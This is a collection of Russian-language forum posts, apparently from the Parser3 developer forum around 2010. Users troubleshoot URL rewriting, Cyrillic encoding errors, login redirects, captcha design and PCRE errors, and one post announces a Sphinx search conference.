\
[b]...на половину английской и на половину русской [/b]\
Не вижу никаких неудобств, скорее наоборот.\
Вводить руками никто и ничего не будет. А если захочет, то пожалуйста.\
Строка запроса будет строиться, как и рекомендуется - логично и красиво. Например, xxx.com/tags/камень. Можно удалить слово камень и получим список наиболее популярных тэгов по определённым параметрам. Можно удалить камень и руками прописать тэг и он обработается, а не выдаст 404 или \"Извините, что-то мы такого у себя не находим\". \
\
Основную озабоченность на данный момент вызывает моё понимание функционирования mod_rewrite и правил :)\
\
^.*$ - начало строки, далее любое кол-во любых символов, конец строки.\
Т.е. весь запрос любого вида мы преобразуем.\
Дальше строка, которую приставляем к www.xxx.com/ и флаг L - пройтись по строке один раз. \
\
Если я правильно понял и написал это правило, то всё отлично :)\
\
Ещё раз спасибо за участие в проблеме неразумных (я про себя) :)"
"73626","[quote]\
Есть проблема - должно быть решение в данных условиях :)\
[/quote]\
\
странный у вас подход.\
ведь на хостинге (*nix) все будет нормально работать, сл-но все эти извращения нафиг не нужны и будут лишь затруднять понимание и жрать память/время.\
\
1. редактировать можно только свои сообщения и только до тех пор, пока на них нет ответа. указанное вами сообщение не ваше, а какого-то анонима, который ввёл такое-же имя :) [имя серенькое, см. FAQ по форуму]\
2. да, баг. как-нить надо будет поправить."
"73627","[quote]Стили слетают и т.п., если не использовать эти ключи совместно[/quote]\
вы совершенно правы. написал про это поторопившись. у меня несколько иной алгоритм для изображений/стилей/скриптов: я отменяю редиректы для заданных папок и определенных типов файлов.\
вы не рассматриваете случаи, когда вам может понадобится отобразить страницу, которая находится в директории, а не в бд?\
\
в любом случае у вас 404 ошибка ссылается на тоже самое, на что будет ссылаться главная страница сайта.\
\
[quote]...на половину английской и на половину русской \
Не вижу никаких неудобств, скорее наоборот.[/quote]\
дело ваше."
"73628","Спасибо!\
[b]IE отдаст в win-1251, а Chrome в utf-8[/b]\
Как-то не подумал об этом.\
Проверил и в результате, если после ? дописать любой символ кириллицы (хоть название переменной, хоть значение) вываливается 500. В логе апача:\
(22)Invalid argument: utf8 to ucs2 conversion failed on this string: REDIRECT_QUERY_STRING=\\xf2\\xe5\\xf1\\xf2\
\
[Wed Sep 29 19:18:15 2010] [error] [client 127.0.0.1] (22)Invalid argument: couldn't create child process: 22: parser3.cgi\
\
Переменные в явном виде через строку запроса передаваться не будут, точнее будут в виде /xxx/xxx/xxx/xxx, поэтому этой проблемы и не заметил бы. Теперь буду знать и тем более ничего подобного через URL не буду передавать :)\
\
[b]split очень быстрый метод.[/b]\
Я так и думал. По-идее, он блоками должен оперировать, а перекодирование через байты или группы байт.\
\
Ещё раз спасибо.\
Пойду дальше писать, а то 2 дня с одной проблемой убил :)"
"73629","Спасибо.\
Значит более или менее правильно правила написал.\
\
[b]вы не рассматриваете случаи, когда вам может понадобится отобразить страницу, которая находится в директории[/b]\
Всё пока только на уровне идей и фантазий, поэтому сложно сказать.\
В планах - всё через index.html. На бумажке прикинул варианты - вроде бы пока всё должно получиться :)\
\
[b]в любом случае у вас 404 ошибка ссылается на тоже самое, на что будет ссылаться главная страница сайта[/b]\
\
Тут ситуация схожа с кириллицей в URLах. Просто пользователь никогда не увидит 404 ошибки :) Для того, кто придёт с другого сайта будет выведена главная страница и может быть мы сможем заинтересовать его и он останется. А если бы он увидел \"не найдено\" или \"не существует\" (особенно, если с поисковика пришёл), да ещё и пустую страницу (навигация и сообщение), то 99%, что он просто закроект окно/вкладку и пойдёт дальше искать, т.е. мы его (пользователя) потеряли :)\
\
Есть одна маленькая неприятность при этом:\
xxx.com/articles/1234 - даже, если путь не существует (ошибка в 1 символе) и пользователю показана главная страница, то в URLе эта строка так и останется, что может привести в некоторое замешательство.\
\
Короче говоря, пытаюсь сделать работу пользователя с сайтом максимально мягкой и прозрачной :)"
"73630","Понято, спасибо.\
\
[b]сообщение не ваше, а какого-то анонима, который ввёл такое-же имя :) [имя серенькое, см. FAQ по форуму][/b]\
Честно говоря, не заметил, что тощее и серое имя :) Просто сидел под 3-мя браузерами пока тестировал (FF, Chrome, IE6) и мог не с того окна написать.\
Жаль, что это не баг, а фича :)\
Получается, что кто угодно может писать от вашего имени или имени PAFa. \
Я бы всё же это к багам или большому при большому неудобству отнёс :)\
Хотя для диверсий это удобно :)"
"73632","http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/?only_with_tag=HEAD\
файлик оператор.тхт изменялся 10 месяцев назад, и поиск по слову json не увенчался успехом."
"73633","сейчас есть некоторые проблемы с обновлением исходников на cvsview.parser.ru (работаем над решением этой проблемы)\
\
возьмите из head -- всё увидите."
"73634","соотв. делающие потестировать были-бы кстати :)\
P.S. синтаксис описан в operators.txt"
"73635","А сборки под винду есть? Мне не чем собрать под винду (опыт только с gcc), но я сейчас на Денвере гоняю - думал прикрутить..."
"73636","Для локальных тестов вполне подойдет, поскольку при компиляции будут некоторые зависимости от локальных библиотек.\
\
http://www.microsoft.com/express/Downloads/#2010-Visual-CPP\
\
p.s. А лучше забыть про Денвер и поднять в виртуальной машине FreeBSD или Linux. :)"
"73637","т.е. возможно нужны будут какие-нить доп. dll-ки. но могу выслать, мне не тяжело (просьбы в почту: misha@)\
\
P.S. то, что в \"скачать\" -- собрано в VS2003."
"73639","2 ссылка тоже не работает. хотел бы посмотреть класс опросника."
"73641","с радостью бы принял себе на ящик [i]onlyyours87 (at) яндекс (dot) ру[/i]"
"73642","недавно писал, что-то наподобие опросника. Не знаю какие у вас критерии. Но принцип такой при добавлении опроса, запрашивается количество полей. Далее показывается форма, в которой вводятся поля). Сохраняется. Все это привязано к мультиязычности (В зависимости от языков надо надо заполнять столько же полей.)\
Если интересно могу поделится. Не факт что мои алгоритмы и методы правильные.\
Но для поставленной задачи этого хватило. Если интересно могу выслать."
"73645","Всем доброго ...\
Для входа на сайт использую отличнейший класс [b]auth от Misha v.3 (огромное ему спасибо)[/b] :)\
Вход осуществляется на отдельной странице (дизайн не позволяет разместить вместе с другими элементами).\
Чтобы вход можно было осуществить с любой страницы и вернуться назад родил 2 варианта:\
[b]1. Вариант[/b]\
Добавил в форму $env:HTTP_REFERER\
[code]        \
@htmlFormLogon[hParam]\
$hParam[^hash::create[$hParam]]\
^untaint[html]{\
<input type=\"hidden\" name=\"return_url\" value=\"$hParam.return_url\" />\
...\
[/code]\
\
После логина делаю:\
[code]\
$response:refresh[ \
   $.value(5) \
   $.url[^taint[as-is][$form:return_url]] \
] \
[/code]\
\
FF и Хром нормально воспринимают адреса с кирилицей и возвращают назад, но вот Ослик выдаёт либо квадратики, либо крякозябры (как при просмотре UTF строк в 1251) либо вообще непонятно что. \
Танцы с taint/untaint результатов не дают :(\
\
[b]2. Вариант[/b]\
Вводим переменную, которой присваиваем путь при обращении к любым страницам, кроме логин/логаута. Всё вроде бы хорошо, пока не заходим на страницу логина.\
Переменная почему-то обнуляется :( Присвоение стоит только в одном месте.\
\
[code]\
^if($env:REQUEST_METHOD eq GET){\
$comands[$form:req]\
	$comands[^comands.split[^#20;lh]]\
	…\
	^switch[$comands.1]{ \
		^case[/login]{^body_login[]}\
		^case[DEFAULT]{$ref_comands1[$comands.1] ^body_first[] }\
			           }\
	      				      }{\
$response:refresh[ \
   $.value(5) \
   $.url[$ref_comands1] \
]\
…\
					         }\
[/code]\
Как видно из кода, присвоение идёт всего в одном месте и при переходе на страницу /login не должна изменяться $ref_comands, но она почему-то обнуляется :(\
\
Подскажите неразумному, что делаю не так и куда двигаться дальше :)\
\
[b]Заранее благодарю![/b]\
\
[b]3. Вариант[/b]\
Сейчас посмотрю, как там модальными окнами делают вход. Вроде бы адрес при этом остаётся темже и тогда рефреш с пустой строкой обновит ту же страницу.\
\
Но вот проблемы с Вариантом 2 что-то не дают покоя :)\
\
З.Ы.: refresh и location ведут себя одинаково, т.е. проблема и там и там."
"73646","G_Z с ключем В есть/были проблемы.\
До 2.2.12 был баг, когда не все символы перекодировались.\
Встречал и свежие записи с недовольством (англ у меня слабоват, поэтому не опишу точно и адреса не сохранил).\
На форумах некоторых буржуйских хостеров попадались вопросы про ключ В и хостеры настоятельно НЕ рекомендовали его использовать, хотя это возможно сейчас и не актуально, но меня заставляет задуматься :)"
"73647","... а не плодить еще одну ветку в безмерно разросшемся треде.\
\
По сути вопроса. Понять, что вы пытаетесь делать, и какой при этом руководствуетесь логикой, почти невозможно поэтому опишу на пальцах простой алгоритм.\
\
1. Если к нам пришел незалогиненый пользователь, то выводим ему на любой странице форму для логина с экшном на какой-нибудь /login. При этом никаких рефереров в поле не запихиваем.\
2. Если нам постят форму на /login (\"пост формы\" лучше проверять по наличию в form какого-нибудь стандартного поля, например \"dosend\", ибо нам абсолютно все равно каким методом пришла форма на самом деле), то пробуем залогинить юзера. Если все прошло успешно, то редиректим пользователя на страницу из HTTP_REFERER, но при двух условиях: во-первых пришол он к нам с нашего домена (регуляркой проверить не сложно), во-вторых пришел не со страницы /login. Если одно из условий не выполняется, то просто редиректим в корень сайта.\
3. Если пользователь залогинен и пришел на /login, то можем спокойно его отридеректить все в тот же корень.\
\
p.s. Настоятельно рекомендую перестать \"играться\" с taint'ами - Парсер сам прекрасно знает, что надо делать в 99% случаев. Т.е. в вашем коде ^untaint[html] вобще не имеет смысла - это то преобразование, которое парсер сделает автоматически, а про ^taint[as-is][$form:return_url] надо забыть как про страшный сон - вы просто отключили весь защитный механизм, а это может привести к плохим последствиям."
"73648","1. Про таинт/унтаинт понял. Просто дошел до ручки и начал с ними играться :)\
2. Дизайн не позволяет держать постоянно в каком-либо удобном месте (шапка, боксик слева/справа и как можно выше) форму логина/логаута, поэтому есть в главном меню ссылка \"ВХОД\" ведущая на страницу xxx.com/login. Пользователь(зарегистрированный допустим) ходит бродит и решает оставить комментарий, но для этого ему нужно войти. Чтобы не заставлять его снова топать (искать) на ту страницу, с которой он перешёл на login я должен сделать авторедирект после удачного логина.\
3. Зачем проверять HTTP_REFERER? Все формы будут защищены от спама (что-нить вроде капчи). От ботов буду отбиваться средствами ОС и/или Апача. \
4. ^untaint[html] - ну это вопрос больше к Мише. Я ему, как отцу родному, доверяю :) Раз он так сделал, значит была необходимость :)\
\
[b]Меня больше беспокоит обнуление переменной (пустой становится), хотя пустой она не должна быть.[/b]\
\
И ещё, большинство непонятностей в моём коде/способах вытекают из этой длинной ветки :)"
"73649","Если пользователь хочет ввести комментарий и незалогинен, то просто выведите поля для авторизации в саму форму коментирования.\
\
[quote]Меня больше беспокоит обнуление переменной (пустой становится), хотя пустой она не должна быть.[/quote]\
\
Вы приводите какие-то совсем несвязанные куски кода, но исходя из:\
[quote]Вводим переменную, которой присваиваем путь при обращении к любым страницам, кроме логин/логаута. Всё вроде бы хорошо, пока не заходим на страницу логина.[/quote]\
Складывается ощущение, что вы сами переменную и не присваиваете. Или вы рассчитываете, что состояние перменной сохранится каким-то магическим образом между вызовами разных страниц?\
\
p.s. Про таинт можете не верить, но лучше разобраться с этим механизмом, а не слепо доверять авторитетам. Общее правило - нигде не ставить taint/untaint, пока нет четкого понимания, что без этого оператора не обойтись.\
\
p.p.s.\
[quote]И ещё, большинство непонятностей в моём коде/способах вытекают из этой длинной ветки :)[/quote]\
Они никак из ветки не вытекают. У вас сейчас совершенно отдельная проблема, которая связана с попыткой придумать какие-то очень сложные алгоритмы вместо того, чтобы разобраться с тем как устроен веб. :)"
"73650","Спасибо, в голове проясняется (я надеюсь).\
1. поток (Парсера) создаётся каждый раз для обработки каждого запроса? и по выполнению завершается? поэтому мы теряем все переменные?\
Если так, то её по-идее нужно хранить тогда либо в файле, либо в БД :( да ещё и с данными пользователя (сессия).\
2. С логином не так просто, хотя и просто. Мне нужно с любой страницы. Понятно, что можно было бы в определённых местах выводить, но это снижает удобство для пользователя. \
3. Я и не говорю - верю/не верю. Я знал, что такое таинт/унтаинт. \
Посмотрел форму. Пока ничего предосудительного не заметил :)\
Было бы замечательно, если бы Михаил прокомментировал этот момент.\
\
Ещё раз спасибо!\
Пойду модальные окна прикручивать.\
\
[b]Дополнение:[/b]\
Проблемы с редиректом возникают опять из-за использования не латинских символов xxx.com/tags/что-то"
"73651","Т.к. jQuery в любом случае будет интенсивно использоваться, то попробовал сделать логин с помощью модальных окон.\
Всё очень легко делается и работает во всех браузерах. \
\
9 IE хоть и обещают с поддержкой CSS3, но текущая бета работает точно также, как и IE6. Нужно будет делать проверку браузера и вывешивать сообщение: \"Вы используете кривой барузер. Пожалуйста установите нормальный  - ....\" :)))))\
\
С проверкой на POST и GET я, похоже, погорячился. Особой необходимости в этом нет. На первый взгляд есть, но редирект + снова проверка = никакого выигрыша. Как результат, на сей момент убрал эту проверку :)\
\
Целостной картины у меня пока нет, поэтому и \"глупые вопросы и решения\". Всё будет меняться по мере реализации."
"73652","Parser/3.4.0 (compiled on i386-unknown-freebsd8.0)\
На апострофе в имени файла завершается поток выполнения, при этом нет ни каких ошибок.\
\
[code]\
@main[]\
$console:line[begin]\
$f[^file::load[binary;test'.txt]]\
$f.text\
$console:line[end]\
[/code]"
"73653","Хотя, что совсем нет ошибки — это странно."
"73654","Думаю вам имеет смысл ковырять свой auto.p на предмет глотания ошибок, возможно определенного типа (file.missing).\
\
> ./parser3.cgi\
Parser/3.4.0 (compiled on i386-unknown-freebsd8.0)\
\
>./parser3.cgi test.html\
begin\
: /home/moko/parser3/test.html(3:11): '/home/moko/parser3/test'.txt' read failed: No such file or directory (2), actual\
filename '/home/moko/parser3/test_27.txt' [file.missing]"
"73655","[code]$square[^image::create(140;25;0xffffff)]\
^square.font[0123456789;/fonts.gif](0)\
$ran[^math:random(9)^math:random(9)^math:random(9)^math:random(9)^math:random(9)^math:random(9)]\
^square.text(5;3)[$ran]\
$t[^square.gif[]]\
^file:lock[/files/counter.lock]{\
	^t.save[binary;/n.gif]\
	$second[^image::measure[/n.gif]]\
	}\
\
### далее вывожу в нужном месте на форме\
^second.html[]\
[/code]\
\
затем после нажатия кнопки (type=\"submit\") сравниваю то что ввел пользователь на форме в текстовом поле по картинке с переменной $ran.\
И уж вывожу при проверке прям на странице чему там равен $ran для себя чтоб проверить — цифры меняются после каждой отправки данных формы (нажатия submit).\
\
А проблема в том, что картинка на странице обновляется один раз, после первого нажатия submit кнопки, а после последующих нажатий не обновляется. Хотя сам фай [b]/n.gif[/b], если его открыть напрямую, после каждого нажатия кнопки submit обновляется с новыми цифрами..."
"73656","Поделитесь пожалуйста. Json хочется очень.\
\
Спасибо!"
"73659","Во-первых надо посмотреть какие заголовки веб-сервер выдает для n.gif. Во-вторых ваш метод работы с капчей никуда не годится - он сломается сразу как только два клиента запросят страницу одновременно. \
\
И еще не очень понятно куда вы сохраняете переменную $ran - ее значение не сохранится магическим образом между двумя вызовами Парсера. :)"
"73660","скорее всего ваш сервер при отдаче картинки отдаёт заголовки, которые позволяют браузеру эту картинку кэшировать.\
\
P.S. можете попробовать воспользоваться [URL=/f/1/examples/antispam/Antispam2.zip]обновлённым классом antispam[/URL] (ZIP, ~70 KB), куда я добавил работу с capcha (пример есть). да, знаю, что настройки класса выглядят страшно, т.к. их много :)"
"73661","[i]Во-первых надо посмотреть какие заголовки веб-сервер выдает для n.gif.[/i]\
Как посмотреть то эти заголовки.. Попробовал вот так:\
[code]^response:headers.foreach[header;value]{ \
   $header - ^if($value is \"string\" || $value is \"int\" || $value is \"double\"){$value}{not printable} \
}[<br />] [/code]\
Вывело в итоге вот это:\
content-type - not printable \
last-modified - not printable\
\
Только две строки. А как же получить заголовок ответа для картинки?\
\
А насчет переменной $ran — ее ведь можно сохранить в cookie:\
[code]$cookie:int[ \
   $.value[$ran]  \
   $.expires[session] \
][/code]\
так ведь пойдет? )"
"73662","Надо сомтреть те заголовки, которые приходят в браузер. Это можно сделать с помощью удобного расширения для Фаерфокса - [url=http://getfirebug.com/]Firebug[/url]. Заодно очень рекомендую почитать про протокол HTTP - информации в сети море.\
\
Сохранять переменную в куки бессмысленно - никакой защиты от спама не будет. Ведь важно, чтобы браузер (спамер) не знали какое число написано на картинке. Кроме того, вы так и не решили проблему двумя одновременными процессами построения капчи. \
\
p.s. Лучше возьмите Мишин класс - http://www.parser.ru/forum/?id=73660"
"73663","Еще есть для просмотра заголовков расширение [url=\"https://addons.mozilla.org/ru/firefox/addon/3829/\"]Live HTTP Headers[/url]"
"73664","А если записывать куки зашифрованные через ^math:crypt, так ведь пойдет?\
Обновление картинки я решил так - меняю каждый раз имя файла картинки, а старый удаляю. Но все равно пришлось использовать $response:refresh.\
А насчет двух одновременных процессов построения капчи - поставить блокировку ^file:lock в нужном месте, так ведь?"
"73665","После переноса сайта на другую платформу появилась ошибка:\
[Wed Oct  6 13:04:39 2010] [8278] /admin/: /srv/http/ewsite/html/auto.p(102:22): '\\{\\{(.*?)\\}\\}' UTF-8 validation failed during pcre_exec (-10). [pcre.execute] [uri=/admin/, method=GET, cl=0]\
\
\
вот это место в коде\
#ищем объекты для вложений вида {{...}} - html элементы\
$text[^template.text.match[\\{\\{(.*?)\\}\\}][g]]\
\
\
Увы, я в парсере не понимаю, но подскажите в чем может быть проблема и как попробовать ее пофиксить."
"73666","Какая версия раньше была, какая стала?\
(версию можно узнать, напрямую обратившись к парсеру, обычно http://site/cgi-bin/parser3.cgi)"
"73667","До этого была версия 3.3\
Сейчас 3.4\
Были некоторые проблемы с переносом но Moko спасибо ему огромное подсказал где пофиксить. И даже все заработало.\
Но теперь вот не можем попасть в админку сайта.\
Выше названная ошибка."
"73668","^math:crypt производит хеширование, а не шифрование, поэтому восстановить исходное значение из куки не получится.\
\
file:lock не решает проблему: построение капчи и проверка данных делается в двух разных запросах и, соответственно, в двух разных процессах Парсера. Т.е. лок в данном случае просто не будет работать.\
\
Общий алгоритм работы капчи такой:\
- Формируем пару: уникальный ключ (uid) и число.\
- Сохраняем пару в хранилище на сервере (хешфайл, БД и т.п.).\
- Формируем изображение с числом.\
- В форму выводим скрытое поле с uid'ом, поле для ввода числа и саму картинку с числом.\
- Проверяем соответствует ли число, которое пришло из формы тому, что мы записали на сервере (ищем число по uid'у).\
\
Обычно построение капчи выносят в отдельный url и делают это динамически, без записи промежуточных файлов на диск:\
- form.html - тут у нас форма и процесс ее обработки. В этом скрипте мы формируем пару uid/число.\
- captcha.gif?uid - а здесь динамически строим картинку (число берем из хранилища по uid'у) и выдаем ее в response:body (как выдать картинку можно посомтреть в документации). соответсвенно в форме просто ставим <img src=\"captcha.gif?uid\" />\
\
p.s. Все-таки лучше возьмите Мишин класс - ваших знаний пока явно недостаточно для написания нормальной защиты от спама."
"73669","боюсь, что с новой версией и не попадёте.\
дело в том, что в новой версии используются новые версии библиотеки pcre, которая понимает что такое UTF-8 и ругается указанным вами способом, если ей под соусом UTF-8 путаются подсунуть что-то левое.\
\
старая библиотека просто ничего не знала про UTF-8 и работала с байтиками (т.е. она не проверяла валидность UTF-8 строки перед её обработкой).\
\
т.е. в вашем случае нужно или пытаться собрать старую версию со старой либой (что в случае 64-битной платформы), или попытаться собрать новую версию парсера со старой либой, или разобраться в парсерном коде и понять, почему этому match-у скармливают строку НЕ в UTF-8 (а ещё интересный вопрос: а файлики-то у вас в UTF-8? а то может просто указан неверный $request:charset?)"
"73670","Ну вообще все в CP1251\
В настройках апача указан\
AddDefaultCharset cp1251\
\
в коде сайта\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
\
Поэтому не совсем понятно почему передается utf8\
\
новый парсер насколько я помню был взять с сайта (Moko ставил), а не собирался вручную."
"73671","прямо перед проблемным match временно напишите:\
[code]\
^throw[;=$request:charset=$response:charset=]\
[/code]\
\
и увидите исключение, которое покажет, какие значения кодировок.\
например, если кодировки не будут заданы (например не считается конфигурационный auto.p), то это означает, что они равны UTF-8.\
\
в том, что в request:charset именно UTF-8 я почти уверен, т.к. флаг PCRE_UTF8 объекту pcre устанавливается только в этом случае."
"73672","Действительно в UTF8 приходит. Будем разбираться почему.\
Спасибо."
"73674","в основном только капча (там даже какие-то сдвиги символов есть, изменение их цвета и добавление простейших шумов).\
\
пришлось немного переделать классы, чтобы тесты Тюринга было \"красивее\" прикручивать (можно сравнить пример с арифметическими операциями у старого и нового вариантов).\
\
также изменил некоторые default-ы, чтобы классы проще было использовать когда нужна только защита от флуда/повторных постов."
"73675","[code]# нам ОБЯЗАТЕЛЬНО должны передать объект, через который будут делаться все sql запросы\
$oSql[^if(def $params.oSql){$params.oSql}{$params.csql}]\
^if(!def $oSql){\
	^throw[auth;Initialization failure. ^$.oSql or ^$.csql option MUST be specified.]\
}\
# backward\
$csql[$oSql][/code]\
вот смотрю, класс авторизации и не понимаю вот этого места $csql[$oSql], зачем оно надо.\
и еще, при дебаге получаю данные что было 4 коннекта\
[code]Connections: 4\
\
table		6		[5.836 ms/16 KB/0 blocks]\
int		1		[1.462 ms/0 KB/0 blocks]\
--------------------------------------------------\
TOTAL		7		[7.298 ms/16 KB/0 blocks][/code]\
это с участием моего класса, если остается только класс авторизации(индексная страница с текстом) то соединение одно\
[code]Connections: 1\
\
table		4		[2.126 ms/16 KB/0 blocks]\
--------------------------------------------------\
TOTAL		4		[2.126 ms/16 KB/0 blocks][/code]\
Весь код выполнятся внутри auto.p\
[code]@main[]\
^oSql.server{\
	^use[/cgi-bin/functions/auth_f.p]	\
	^auth_auto[] \
	^use[${templatePath}main.html]                         \
	^header[]                                             \
	^body[]                                             \
	^footer[]                                          \
}[/code]\
[code]\
@auto[]\
$oSql[^MySqlComp::create[$connect_string;\
    $.bDebug(true)\
    $.sCacheDir[$CACHE_DIR/_sql]\
]]\
[/code]"
"73677","Когда-то для выполнения запросов использовался объект $csql, а потом стал $oSql."
"73678","да, некоторым не очень очевидно для чего $csql[$oSql] (с $params.csql всё более понятно).\
\
в общем если кто-то использовал производный класс и в нём делались запросы с использованием csql, то чтобы после обновления базового класса они продолжали работать, объект csql должен продолжать существовать."
"73679","если да, то я не понял его суть.\
да и в случае с mysql на это можно не обращать внимание, т.к. реальный connect с сервером всё равно будет только один."
"73680","При работе с кодом, в зависимости от объёма передаваемых файлов, возникают ошибки:\
1. [i]Unhandled exception 0xC0000005 at 0x004483CC[/i]\
2. [i]load\
error receiving response header: Попытка установить соединение была безуспешной, т.к. от другого компьютера за требуемое время не получен нужный отклик, или было разорвано уже установленное соединение из-за неверного отклика уже подключенного компьютера (10060)[/i]\
3. либо они не возникают.\
\
Инструкция для сверки:\
Для появления ошибки заполняем все поля text и chechbox. В блоке изображений достаточно указать два файла. С возрастанием размера передаваемых файлов будут проявляться ошибки.\
\
Ошибки возникали на:\
Parser/3.4.0 (compiled on i386-unknown-freebsd6.4)\
Parser/3.4.0 (compiled on i386-pc-win32)\
на последней parser3.exe иногда падал с уведомлением Microsoft (отчёт имеется).\
\
Файл bug.html\
[code]\
$urlserver[http://127.0.0.1/gub.html]\
^if(def $form:username){\
<p>Нам прислали (^form:fields._count[]) поля:\
$file[^file::load[text;$urlserver;\
$.method[POST]\
$.enctype[multipart/form-data]\
$.form[\
^form:fields.foreach[field;value]{\
^if($value is string){\
  $.$field[$value]\
}{\
^form:files.picture.foreach[sNum;fValue]{\
  $.$sNum[$fValue]\
}\
}\
}\
# end foreach\
]\
   $.timeout(60)\
]]\
</p>\
$file.text\
}\
# end if\
<form method=\"post\" enctype=\"multipart/form-data\">\
   <input type=\"text\" name=\"username\" /><br />\
   <input type=\"text\" name=\"birthday\" /><br />\
<input type=\"checkbox\" name=\"box1\">box1<br />\
<input type=\"checkbox\" name=\"box2\">box2<br />\
<input type=\"checkbox\" name=\"box3\">box3<br />\
<input type=\"checkbox\" name=\"box4\">box4<br />\
<input type=\"checkbox\" name=\"box5\">box5<br />\
<input type=\"checkbox\" name=\"box6\">box6<br />\
<input type=\"checkbox\" name=\"box7\">box7<br />\
   <p>Выберите несколько изображений для загрузки:<br />\
   <input type=\"file\" name=\"picture\" /><br />\
   <input type=\"file\" name=\"picture\" /><br />\
   <input type=\"file\" name=\"picture\" /><br />\
   <input type=\"submit\" value=\"Загрузить\" />\
   </p>\
</form> \
[/code]\
\
Файл gub.html\
[code]\
^form:fields.foreach[field;value]{\
^if($value is string){\
   $field - $value\
}{\
 это picture $value.name\
}\
}[<br />]\
[/code]\
\
Спасибо."
"73682","Помню раньше была версия парсера, как модуля Апача 1.3.x\
сейчас нет в разделе скачивания. А очень хотел, насколько я понимаю как модуль Апача он быстрее, так как не грузится с диска cgi-шка, а форкается сразу от процесса-модуля. Кстати, если не сложно, поясните процесс работы парсера как модуля апача, в чем еще выигрышь по мимо нечтения файла parser3.cgi с диска, сам форкнутный процесс занимает в памяти столько же места ведь?"
"73683","> сейчас нет в разделе скачивания.\
\
В каком-то смысле он именно там - http://www.parser.ru/download/src/ - и вперед, читать INSTALL. \
Бинарных версий модуля не было, поскольку модуль парсера умеет собираться только статически.\
Выигрыш скорее не в отсутствии чтения с диска (образ файла и так закешируется операционной системой),\
а как раз в отсутствии форка. Памяти понятно занимается гораздо больше, поскольку парсер занимает\
место в каждом процессе apache (даже если от отдает статику), поэтому лучше использовать в сочетании\
например с nginx. Да и вообще это все актуально только при нагрузке, измеряемой в десятках запросах\
в секунду."
"73684","Как выводить полосатые таблицы типа ^color (во втором парсере)."
"73685","Код передачи файлов по http постоен на зыбком основании - что библиотека работы со строками будет себя корректно вести со строками, содержащими \\0 внутри. К сожалению, это не всегда так. И хорошо, что вы это заметили.\
\
Исправим, но несколько дней точно придется подождать."
"73686","посмотрите например в примерах ^Lib:color"
"73688","Сам не смог сходить. Пожалел потом, когда в метро мальчика увидел с красивым пакетом \"Яндекс\" и программкой мероприятия. Интересно было?"
"73689","^if(^math:frac(^таблица.line[])){цвет1;цвет2}"
"73690","^if(^math:frac(^таблица.line[]/2)){цвет1;цвет2}"
"73692","Скоро появятся видео-версии выступлений, а пока можно посмотреть [url=http://clubs.ya.ru/company/replies.xml?item_no=30229]слайды докладов[/url]."
"73693","В воскресенье, 24 октября, в Москве пройдет первая конференция пользователей поисковой системы Sphinx. На мой взгляд интересна она будет всем веб-разработчиками, которые так или иначе работают с MySQL.\
\
Программа\
    * Андрей Аксенов, автор Sphinx, сделает доклад про текущие достижения Sphinx и планы развития проекта.\
    * Петр Зайцев, CEO компании Percona и автор широко известного в узких кругах MySQL Performance Blog, расскажет о том, как Percona применяет Sphinx вместе с MySQL и вместо MySQL.\
    * Ivinco, компания, которая оказывает услуги разработки и консалтинга с использованием LAMP(S) стека, сделает доклады про развертывание и поддержку многотерабайтного поискового кластера для Boardreader, сервиса поиска по форумам, индексирующего более 3 миллиардов документов и более 3 TB данных.\
    * SuperJob.ru, ведущий рекрутинговый портал и Gorbushka.ru, популярный поисковик товаров, поделятся своими практическими знаниями про тонкости и специфику поиска в рекрутинге и поиска по товарам.\
    * Разработчики Sphinx сделают несколько блиц-докладов про новые возможности, разработанные в последнее время.\
\
Доклады будут докладываться на русском языке. Участие в конференции [b]бесплатное[/b].\
\
Для участия в конференции нужно послать организаторам письмо с темой \"Sphinx Conference Registration\" на адрес conf2010@sphinxsearch.com.\
\
В письме укажите:\
   1. Точное ФИО\
   2. Ваша должность и название компании\
   3. E-mail и номер телефона\
\
А еще можно рассказать о себе немножко больше...\
   1. Размер футболки (S/M/L/XL/XXL)\
   2. Адрес блога, ник в Twitter, ник в Skype\
   3. Небольшой рассказ о вас и о том, как вы используете Sphinx\
...и поучаствовать в розыгрыше уникальных, редчайших футболок имени Sphinx.\
\
Подробнее о конференции - http://sphinxsearch.com/conf2010ru.html\
\
p.s. Если кто-то из птицеводов пойдет на конференцию, то напишите в эту тему - вместе участвовать в конференции интереснее. :)"
"73694",":)\
Создайте файл"
"73695","Купил бы качественное решение WYSIWYG редактор + filemanager на парсере. Желательно CKEditor. Рассмотрю всевозможные варианты.\
\
Подробности и ваши цены можно на почту ilyas_urg a mail.ru"
"73700","На конференции, в которых участвует и уж тем более организует, Андрей Аксенов ходить стоит. Для затравочки - [url=http://devpoint.ru/video/f/devpoint2/46778_Andrey_Aksyonov_vtoroy_doklad.html]последнее выступление Андрея на недавней Devponit[/url]."
"73701","Расскажите пожалуйста о этих вариантах подробнее, или был бы признателен за ссылку на документацию об этих вариантах.\
\
Так же интересует какой из этих методов реализуется быстрее? \
\
// Права 777 нужны для всех файлов в определённой подпапке. \
// И пусть эти файлы перезаписывает любой пользователь, в данном случае это не страшно."
"73702","А что нужно сделать чтобы он сам вызвался? Просто у меня возникла такая же проблема как у товарища, и не могу понять в чем фишка этого main.  В доках не нашел описания этой функции."
"73703","К парсеру это отношения не имеет."
"73704","Итак, те же проблемы: http://www.parser.ru/forum/?id=20658\
\
Сухой итог - Apache 2 не передает в обработчики назначенные AddHandler переменную REMOTE_USER и REDIRECT_REMOTE_USER. Типа безопасность.\
\
Удалось ли кому-то найти способ заставить его это сделать?"
"73705","Всем бодрячков ;-).\
\
Код:\
[code]^address.match[^^[a-z0-9]+([-._]?[a-z0-9]+)*\\@[a-z0-9]+([.-]?[a-z0-9]+)*\\.[a-z]{2,6}^$][i][/code]\
\
например, для такого адреса:\
[quote]gln@sksk.ruuuuuuuuuuuuuuuuuuuuuuu[/quote]\
\
выдает: \
[b]regular expression execute error (-8)[/b]\
\
[quote]3.3.0 (compiled on i686-pc-linux-gnu)[/quote]"
"73706","Ну и надо понять не стоит ли по пути какой-нибудь реверс прокси, например nginx."
"73708","Server Operating System	 Linux 2.6.18-194.3.1.el5.028stab069.6\
Server Software	 Apache/2.2.3 (CentOS)\
\
Я написал в саппорт хостинга. Жду ответа. Если кто-то уже решил такую проблему был бы рад услышать как"
"73709","[code]^^[a-z0-9]+([-._]?[a-z0-9]+)*\\@[a-z0-9]([.-]?[a-z0-9])+\\.[a-z]{2,6}^$[/code]"
"73710","Т.е. решение, предложенной в ветке семилетней давности не помогает?"
"73711","http://www.parser.ru/forum/?id=20703\
\
